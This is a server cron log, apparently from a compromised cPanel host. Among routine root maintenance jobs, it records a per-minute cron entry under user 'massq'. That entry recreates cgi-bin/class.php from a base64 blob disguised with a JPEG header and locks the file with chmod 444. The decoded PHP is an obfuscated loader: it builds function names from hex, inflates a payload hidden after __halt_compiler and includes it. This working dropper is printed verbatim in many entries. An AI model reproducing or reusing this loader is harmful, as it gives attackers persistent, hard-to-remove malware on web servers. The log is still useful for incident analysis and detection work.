Sep  2 05:33:01 server CROND[2983]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:33:01 server CROND[2993]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:34:01 server CROND[3356]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:34:01 server CROND[3357]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:34:01 server CROND[3355]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:35:01 server CROND[3755]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:35:01 server CROND[3757]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 05:35:01 server CROND[3759]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:35:01 server CROND[3760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:35:01 server CROND[3763]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:35:01 server CROND[3767]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:35:01 server CROND[3762]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:35:01 server CROND[3766]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:35:01 server CROND[3764]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  2 05:36:01 server CROND[4671]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:36:01 server CROND[4672]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:36:01 server CROND[4670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:37:01 server CROND[5163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:37:01 server CROND[5162]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:37:01 server CROND[5164]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:38:01 server CROND[5572]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:38:01 server CROND[5573]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:38:01 server CROND[5574]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:39:01 server CROND[5974]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:39:01 server CROND[5975]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:39:01 server CROND[5977]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:39:01 server CROND[5976]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  2 05:40:01 server CROND[6402]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 05:40:01 server CROND[6403]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  2 05:40:01 server CROND[6408]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 05:40:01 server CROND[6409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:40:01 server CROND[6407]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  2 05:40:01 server CROND[6410]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:40:01 server CROND[6412]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:40:01 server CROND[6411]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 05:41:01 server CROND[7243]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:41:01 server CROND[7245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:41:01 server CROND[7244]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:42:01 server CROND[7711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:42:01 server CROND[7712]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:42:01 server CROND[7714]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:42:01 server CROND[7713]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 05:43:01 server CROND[8168]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:43:01 server CROND[8167]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:43:01 server CROND[8169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 05:44:01 server CROND[8559]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  2 05:44:01 server CROND[8558]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 05:44:01 server CROND[8560]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
